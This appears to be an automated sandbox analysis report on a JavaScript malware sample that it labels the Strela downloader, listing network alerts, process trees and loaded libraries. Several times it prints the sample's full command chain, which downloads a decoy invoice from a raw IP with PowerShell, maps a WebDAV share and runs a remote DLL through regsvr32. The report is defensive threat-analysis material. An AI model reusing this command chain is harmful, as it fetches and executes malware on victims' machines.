Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49760 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1380749276.0000017589563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1454630717.000001BAC79E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1453194297.000001BAC79E9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1454630717.000001BAC79E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: net.exe, 00000007.00000002.1454535779.000001BAC79B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: svchost.exe, 00000009.00000002.2655835818.000001CB2EE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1456442706.000001CB2EC20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7444, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 6164687600716519.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tzvez5u.j3g.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,10604336850513171778,18165926651659132460,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,10604336850513171778,18165926651659132460,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
